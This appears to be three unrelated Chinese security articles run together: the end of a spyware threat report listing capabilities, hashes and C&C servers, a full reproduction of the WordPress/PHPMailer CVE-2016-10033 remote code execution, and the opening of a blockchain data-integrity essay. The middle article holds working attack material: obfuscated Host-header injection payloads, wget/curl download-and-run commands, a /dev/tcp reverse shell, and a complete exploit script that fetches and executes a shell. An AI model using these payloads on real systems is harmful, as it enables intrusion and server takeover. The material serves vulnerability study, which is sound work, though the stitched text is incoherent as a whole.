Metasploit是一个开源的渗透测试框架，它本身附带数百个已知软件漏洞的专业级漏洞攻击工具，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。Metasploit
Android payload 则是Metasploit框架针对Android
系统的一个有效负载，可以针对Android设备的渗透工具。攻击者将Metasploit打包进正常的APK中进行攻击活动，其包结构如下图所示。
图11 插入Metasploit的包结构
该APK通过动态加载恶意模块实现隐私窃取功能，其主要功能有：
– 获取通话记录
– 获取联系人
– 获取短信
– 隐藏图标
– 获取位置
– 设置壁纸
– 获取已安装应用列表
– 启动应用
– 卸载应用（API的方式）
– 剪切板管理
– 文件管理
– 录音、录像、拍照
– 实时录音
– 实时录像
– 获取设备信息
– 获取网络信息
– 截图
– 检测ROOT权限
恶意模块源码结构如下图所示：
图12 Metasploit payload源码结构
### EsecretRAT
EsecretRAT是基于开源的ChatAppTutorial开发的间谍软件，攻击者在ChatAppTutorial原有的代码的基础上添加了部分恶意代码，实现了间谍软件功能。下图为ChatAppTutorial
和 EsecretRAT 的包结构：
图13 左边为ChatAppTutorial，右边为EsecretRAT
EsecretRAT主要恶意功能为：
– 获取联系人
– 获取短信
– 获取设备IMEI
– 获取位置信息
– 获取IP
– 获取DCIM目录中所有的照片
## 0x05 溯源关联
在载荷投递章节中我们提到一个文件“تسريب-اجتماع-القائد-محمد-دحلان-و-المخابرات-المصريه.pdf（Mohammed Dahlan 指挥官和埃及情报会议 (MoM)
泄漏.pdf）”，该文件创建时间为2018年9月，并且于2018年10月上传至VT平台。文件名中的Mohammed
Dahlan是巴勒斯坦政治家，曾担任巴勒斯坦权力机构在加沙的预防性安全部队的负责人。作为法塔赫领导人时，他在加沙残酷镇压哈马斯。2018年6月哈马斯与以色列因为禁运发生武装冲突，彼时攻击者用该文件作为诱饵进行攻击，可能与此有关，通过网络攻击进行情报获取。
## 0x06 总结
由于宗教信仰、地缘政治、历史原因等因素，巴以地区冲突不断，各方都在试图通过网络情报和网络攻击活动占领先机，此前我们就发现并揭露了该地区的APT组织双尾蝎（APT-C-23）的多次攻击活动。此次攻击活动虽然没有判断攻击者的身份有利证据，但是我们相信，随着我们的持续挖掘，隐藏于背后的攻击者终将浮出水面。
## 0x07 IOC
### MD5
– e8c58ef7416592ff41624e8308cd6288
– cb7cb6e9473012d74e826b1177c68934
– 0ed27d29fcb0e4914be7b2104e36c4a6
– 1b9773f6ff6e3f16fb40160f42f037cc
– 60e392f90c4aa67c26cff92b167cf8b3
– 85721410f4761db6d19ee501debbe869
– 33188e34b486e3505471d9bbcbf02353
– 24a6955c9126a7306e0a749c17f16196
– 3d8f7e4b5e73c5ef79c0a02412a0fbb8
– 3a9d66fe2ce6357e3395fa6fc8f9db04
– d03da3b1833964998fbcbba4d06e98eb
– e610b9329f0541763ffbc951bb67993e
– d258c0de8d0337874e95e5d7915faadd
– f9161d0d3829be60872989874a97e2c7
– e81134efafbb73b628410b5025714f90
– ae9aa8ecfa96277ba39262629a443867
– 5d2f54aeec481c54c55dc0686a468ea8
– 1dcf5da15cceb97198d10bcf44d55e6a
– 1bba055fc730940f6cb36345daf9f1b9
– 3f5ceaa0417119f7707da38fc5e60b3d
– 0dc47d791ad9ecbab3aedd914cb22a81
– d947323c3c6070c748670d7cb49ca752
– 28b96f5cd113ca1d498fcfc2dcc0a632
– 4fa36fe5d8bb346339ef01030a95ea46
– d22e3f20b96b7d85b52b16959b76d9ca
– 2f14c65ac74f72c3498f49aab0257193
– c1160f53542d65faa446f7a44c8c3208
– 03839f333467a5eff5cfd2c4138c4bcb
– 2a6cb0f6f02761732c190dd3398a3cf6
– b923ba46fffd3f79d5118f6357bee654
– 501d8f38e0112581b2d526a089a2fa01
– b5c88cd72006094581cce12eec24781d
– 20fc48f6f258cfc66d366cba38167c2a
– 111bb02c6a7c071dde184ba5a16c9ce2
– 0d7173ac47bf8c8baf60c8b684af4613
– a021c35bd7a1b657ddc50017f59984bb
– 658c03b62554ef152fe6b60a6aedc7fb
– 5a5f7aefbaf36e0e3bcc5f9945f98b63
– b76ff92cc58ef7d8a70b6642519a1bdd
– ca126e58f704854ea208acca0dd23a69
– 2e09ad268706cb4503cc46c78a63c149
– 59b2f3788b7c44b169193e8de4aa51eb
– 455bca7b306436c9a94d3d8aa10f4a5a
– 4c7b1be35440aab2fe99efeb980773d0
– 2776223ef47c52fbb3c4975789ceb5fc
– 4489b0fd8ff8647e0539c19a583d4e51
– f88d2074a80cca7ba8e97aeb24668305
– 9c790563783b54d4266cc87ae5b7ad7e
– 7d0554892c9f8a261402e3afa73f072f
– 349ed536e635dc56b507e292eb30d6b4
### C&C
– cy.alhaneny.com:1150
– abood123.ddns.net:1145
– agent47.dvrcam.info:1196
– quds20212020pal.ddns.net:1199
– aldaet.dvrcam.info:1196
– states.mysecuritycamera.com:1196
– spynote6.ddns.net:1338
– netbot.no-ip.info:1337
– mobihok.ddns.net:1337
– firas20199.ddns.net:1197
– alaahamayil96.ddns.net:1177
– scream.ddns.net:1993
– 213.244.123.150:1150
– aldaet.ddns.net:1150
– scr.selfip.net:1166
– tcp:213.244.123.150:1150
– firas2020.ddns.net:1196
– ffaabb.ddns.net:1188
– firas2019.ddns.net:1196
– 213.244.123.150:4444
– take123.hopto.org:4444
– kh.njrat.info:1302
– hadra5.ddns.net:1123
– agentra3.dvrcam.info:6666
– hacked-2018.ddns.net:2222
– is54sa.ddns.net:1188
– http://alkhelafeh.com/cc.php
– https://threemasecure.info/cc.php
## 0x08 产品侧解决方案
若想了解更多产品信息或有相关业务需求，可移步至http://360.net。
## 0x09 时间线
**2021-10-25** 360烽火实验室发布通告
## 0x0a 参考链接
[1、
https://en.wikipedia.org/wiki/Mohammed_Dahlan](https://en.wikipedia.org/wiki/Mohammed_Dahlan)
[2、 https://jcpa.org/hamas-will-go-for-broke-in-gaza/](https://jcpa.org/hamas-will-go-for-broke-in-gaza/)
[3、
https://github.com/KODDevYouTube/ChatAppTutorial](https://github.com/KODDevYouTube/ChatAppTutorial)
[4、
https://888-tools.com/product/888-rat/](https://888-tools.com/product/888-rat/)
[5、 https://www.spynote.us/](https://www.spynote.us/)
[6、 https://whcyberspace.com/](https://whcyberspace.com/)
[7、 https://github.com/wh-Cyberspace/WH-RAT](https://github.com/wh-Cyberspace/WH-RAT)
[8、 https://github.com/KitsapCreator/pihole-blocklists](https://github.com/KitsapCreator/pihole-blocklists) | 社区文章 |
# 漏洞信息
WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把
WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 <
5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。
## 漏洞编号
CVE-2016-10033
## 影响版本
WordPress <= 4.7.1 PHPMailer < 5.2.18
# 测试环境
1. 拉取镜像到本地
$ docker pull medicean/vulapps:w_wordpress_6
1. 启动环境
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
> `-p 8000:80` 前面的 8000 代表物理机的端口，可随意指定。
访问 [http://127.0.0.1:8000](http://127.0.0.1:8000/) 看到 WordPress 主界面代表启动成功
# 漏洞分析
漏洞页面：`/wp-login.php?action=lostpassword`
此处是管理员重置密码页面，wordpress使用phpmailer组件进行重置密码邮件的发送，但是`phpmailer <
5.2.18`之前的版本存在命令注入漏洞，具体你可以先阅读分析文章[链接](https://paper.seebug.org/161/) 。
我们来看看这个漏洞在wordpress中的情况。漏洞文件是`class.phpmailer.php`，我们在wordpress中搜索查看这个文件，该文件在在`wp-includes`目录下。我们可以发现几行关键代码：
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
我们发现，实际上phpmailer组件是调用linux系统命令`sendmail`进行邮件发送，命令格式为：`sendmail -t -i
-fusername@hostname`。并且我们继续审计代码发现：
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
`serverHostname`函数通过传入的`SERVER_NAME`参数来获取主机名，该主机名即HTTP请求报文中的host值，但是`SERVER_NAME`参数并没有经过任何过滤，因此我们可以进行任意构造拼接，从而产生了系统命令注入漏洞。
更棒的是，`sendmail` 提供了`-O`和`-X`参数，`-X`参数用于写入日志文件， 我们可以使用`-OQueueDirectory=/tmp/
-X/tmp/smtp.php`命令组合，它会将发送的邮件保存到`/tmp/smtp.php`中， 那么在请求的时候payload应该类似于这样：
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/smtp.php )@qq.com
在@前面，如果加上括号，将可以引入空格，这样就可以拼接到了sendmail命令中并且保存了测试邮件文件。那么如果我们写入的是Webshell后门文件呢？
思路很好，然而现实很无奈。
* wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符（空格或TAB）到sendmail命令中。并且，添加括号引入向sendmail中注入参数的方法已经行不通了，具体可以参考[链接](http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html)。
* 比如我们想要调用`/bin/touch`的时候也会出问题，因为host字段中如果出现`/`，服务器会拒绝我们的请求。
因此上述的Sendmail技术在这种情况下不起作用，这条路走不通了！
正感觉走投无路的时候，这时候我们不妨喝杯茶冷静一下，为什么sendmail能够产生命令注入漏洞呢？我们去了解一下sendmail。然后就会发现柳暗花明又一村了。我们可以知道`ubuntu/debain`系统中，已经使用exim4替代了sendmail的功能，我们查看sendmail文件可以发现它是一个链向exim4的软链接文件。
那么我们可以利用exim4的语法参数进行命令执行参数的拼接啊！我们查看exim4的帮助手册，可以发现`-be`参数
Run Exim in expansion testing mode. Exim discards its root
privilege, to prevent ordinary users from using this mode to
read otherwise inaccessible files. If no arguments are given,
Exim runs interactively, prompting for lines of data. Other‐
wise, it processes each argument in turn.
If Exim was built with USE_READLINE=yes in Local/Makefile, it
tries to load the libreadline library dynamically whenever
the -be option is used without command line arguments. If
successful, it uses the readline() function, which provides
extensive line-editing facilities, for reading the test data.
A line history is supported.
Long expansion expressions can be split over several lines by
using backslash continuations. As in Exim's run time configu‐
ration, white space at the start of continuation lines is
ignored. Each argument or data line is passed through the
string expansion mechanism, and the result is output. Vari‐
able values from the configuration file (for example, $qual‐
ify_domain) are available, but no message-specific values
(such as $message_exim_id) are set, because no message is
being processed (but see -bem and -Mset).
Note: If you use this mechanism to test lookups, and you
change the data files or databases you are using, you must
exit and restart Exim before trying the same lookup again.
Otherwise, because each Exim process caches the results of
lookups, you will just get the same result as before. Macro
processing is done on lines before string-expansion: new
macros can be defined and macros will be expanded. Because
macros in the config file are often used for secrets, those
are only available to admin users.
简单来说，`-be`参数是一个字符串拓展测试命令，它可以读取一些变量的数据。比如，`$tod_log`，它可以显示系统时间。
~$ sendmail -be '$tod_log'
2018-04-20 16:26:47
并且，exim4提供了一些函数用来执行一些命令，如字符串截取函数`substr`、`$run`系统调用函数。
我们可以截取空格字符。如图所示，substr函数从第十个字符开始截取，共截取一个字符，也就是时间字符串的第11个字符，是空格字符。
那么同理，我们也可以截取`/`字符串：
我们测试使用`$run`函数调用系统命令
到这里，遇到的问题都解决了，我们于是可以构造payload如下，该payload在/tmp/目录下创建test.txt文件：
aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)
> 空格 ==> ${substr{10}{1}{$tod_log}}
>
> / ==> ${substr{0}{1}{$spool_directory}}
转换过来就是
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)
我们去密码重置页面输入重置用户名为admin，提交之后拦截请求，并把host的值修改为我们的payload：
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.176.128:8000/wp-login.php?action=lostpassword
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
user_login=admin&redirect_to=&wp-submit=Get+New+Password
提交请求：
在/tmp目录下发现成功生成了测试文件。
### 执行任意命令
实际上我们按照刚才的思路，替换我们想要执行的命令即可。但实际利用起来，还是有些需要注意的地方：
* 执行的命令不能包含大量特殊字符，如 `:`、引号等。
* 命令会被转换成小写字母
* 命令需要使用绝对路径
* 需要知道某一个存在的用户的用户名
### 写入shell
#### 反弹shell
思路是利用`curl`或者`wget`命令下载远程文件。这里我测试下载执行一个反弹bash脚本。需要注意的地方：
* 远程 URL 中不能有 `http://`
* 所有字母必须小写
远程反弹shell脚本：`172.16.176.1:8080/a.txt`，内容：
nohup bash -i >/dev/tcp/172.16.176.1/1337 0<&1 2>&1) &
payload：
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 172.16.176.1/a.txt}} null)
执行反弹shell：
aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)
两个payload转换过来就是
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)
在反弹主机上用nc监听1337端口，分别按顺序提交payload即可获取到反弹shell
nc -nvv -l -p 1337
#### 写入一句话webshell
同理，可以直接下载一句话webshell，然后菜刀连接。payload：
payload：
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document a.php 172.16.176.1/a.txt}} null)
转换过来即
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}a.php${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)
### POC
自动化提交payload，获取反弹shell。通过`python -mSimpleHTTPServer
80`建立web服务，用于目标下载shell。运行是需要用管理员权限，因为监听了80端口。
使用方法
sudo ./wordpress-rce-exploit.sh http://172.16.176.128:8000
#!/bin/bash
#
# __ __ __ __ __
# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
# /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# ----------------------------------------------------------------- #
# Interested in vulns/exploitation?
#
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
rev_host="172.16.176.1"
function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro" | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -nvv -l -p 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0
# 修复建议
更新wordpress、phpmailer到最新版本
# 参考链接
<https://paper.seebug.org/161/>
<http://bobao.360.cn/news/detail/4146.html>
<http://vulapps.evalbug.com/w_wordpress_6/>
<https://github.com/opsxcq/exploit-CVE-2016-10033>
<https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum> | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/W42B0oVm1NAR2FZpNaKPvw>**
2019年10月24日，中共中央政治局就区块链技术发展现状和趋势进行第十八次集体学习，会议强调：“区块链技术的集成应用在新的技术革新和产业变革中起着重要作用。我们要把区块链作为核心技术自主创新的重要突破口，明确主攻方向，加大投入力度，着力攻克一批关键核心技术，加快推动区块链技术和产业创新发展”。
近日，浙江大学教授、中国工程院院士陈纯就这个问题作了讲解，并谈发表意见和建议。可以预见，区块链技术和应用在我国的推进将会带来巨大的变革，显现在宏观和微观的各个方面。陈纯院士演讲的《联盟区块链关键技术与区块链的监管挑战》核心观点包括：
* 联盟链底层平台的核心是性能、可用性和安全隐私；
* 链上链下数据协同技术是未来发展的一个重要方向；
* 区块链的监管技术是区块链健康和持续发展的关键。
启明星辰ADLab认为，区块链的系统的可用性问题是涉及功能实现性的问题，而实现性问题本质是朴素的安全性问题，并针对上述第二点“链上链下数据协同技术”进行持续研究。当前，链上链下数据协同技术并不完善，导致区块链无法形成闭环，是限制区块链应用场景的主要阻碍。
例如今年的双十一购物节，电商平台争先把区块链系统应用到商品的防伪和溯源中，但消费者仍然有问题：“商品上区块链就能避免假货吗？”、“区块链上的商品信息一定是真实上传的吗？”，我们给出的答案很可能是“否”，本文将从技术角度详细解读区块链链上链下数据协同的问题。
## 区块链能且仅能保证链上数据的完整性
区块链本质上是一个点对点网络上的分布式账本数据库。区块链系统最显著的特征是去中心化、不可篡改，其中不可篡改的特性依赖于密码学的单向算法，这里的单向算法即为哈希算法(hash)，也称为摘要算法或随机散列算法。哈希函数具有三个特点：
* 原像不可逆：知道输入值，计算出哈希函数是容易的；知道哈希值，没有办法计算原来的输入值；
* 抗碰撞性：寻找两个能够输出同样哈希值的不同输入在计算上是不可行的；
* 难题友好性：没有便捷的方法去产生一个满足要求的哈希值。
区块链有一串链接的数据区块，其中包含原始数据或交易记录，还包括数据的哈希函数值和时间戳。每一个区块包含上一个区块头的哈希，因而每一个区块保证上一个区块数据的完整性，从而形成链。
我们可以获得一条结论：区块链能够保证区块数据的完整性。
然而，区块链系统不可篡改的特性是通过哈希算法在链上作用于区块数据来保证的，因此可以得到一条非常重要的区块链的本质特性：
**区块链能且仅能保证链上数据的完整性** 。
如此一来，要想把区块链系统运用到线下生活中，链上链下数据的一致性就变得非常重要。这里有一些比较普遍的错误认识，我们可以再举一些例子来论证这个问题：
> “假如你买到了一个西瓜，在区块链技术下，你可以知道从果农的生产到流通环节的全过程。在这其中有政府的监管信息、有专业的检测数据、有企业的质量检测数据等。”
这是一个商品来源可追溯的问题。对于这样的一个系统，攻击方式可以包括：
* 将不符合线下实际情况的数据写入区块链：果农声称西瓜不打农药，然后将“不打农药”的信息写入区块链，然后给西瓜打上农药。
* 冒充区块链与线下实体对应的标识符：有西瓜A，区块链系统上的UID为A，经过了完整合规的生产到流通的全过程，并写入区块链；有任意来源的西瓜B，销售人员声称其UID为A，然后进行销售。
可以看到，区块链系统对链下实体的完整性无能为力。针对这个案例，一个可能的补救方法是全程录像，然后将录像文件的哈希值作为数据写入区块链，消费者在购买西瓜时，可以通过对比录像文件来确定这个西瓜是可追溯的健康西瓜。但需要注意的是，在这样的一个补救方案中，区块链也只是保证了录像文件的完整性，而有录像文件作为对应，消费者也并不太需要区块链就能追溯这个西瓜。
区块链的本质决定了这一软肋的存在。区块链的线下问题无法解决，是因为线下实体不能支持上传下载的操作，可以上传下载的只有数据；而在物联网的终端，数据上传下载的链路无法被区块链保护。
## 当前的解决方案：预言机
为了将区块链技术应用到线下，例如将飞机延误险、货币兑换等业务上链，区块链需要具有访问链下数据的能力，现有的解决方案被称为预言机(Oracle)。预言机是20世纪中叶数学家图灵提出的，预言机具备图灵机的一切功能，并额外拥有一种能力：可以不通过计算直接得到某些问题的答案，这个过程叫做Oracle。如果要解决的问题是怎样计算都无法得到结果的，那么这个情况下图灵机没有用处，只有预言机才能完成任务。
